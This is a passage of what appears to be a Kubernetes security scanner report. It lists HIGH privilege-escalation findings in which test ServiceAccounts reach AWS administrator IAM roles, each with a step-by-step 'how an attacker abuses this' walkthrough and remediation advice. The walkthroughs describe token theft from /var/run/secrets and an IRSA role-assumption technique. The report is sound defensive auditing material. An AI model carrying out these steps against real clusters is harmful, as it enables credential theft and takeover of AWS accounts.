    Gives the attacker can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 7.2
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
2. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-imp/imp-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 7.2
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-workload-mutate -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-test/eks-admin-irsa via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-workload-mutate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/cloud-eks-test/eks-admin-irsa. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 7.2
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-workload-mutate -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-imp/imp-irsa via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cloud-eks-imp/imp-irsa
2. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-workload-mutate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/cloud-eks-imp/imp-irsa. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cloud-eks-imp/imp-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 7.2
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-test/eks-admin-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-test/eks-admin-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 7.2
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-imp/imp-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
2. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-imp/imp-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
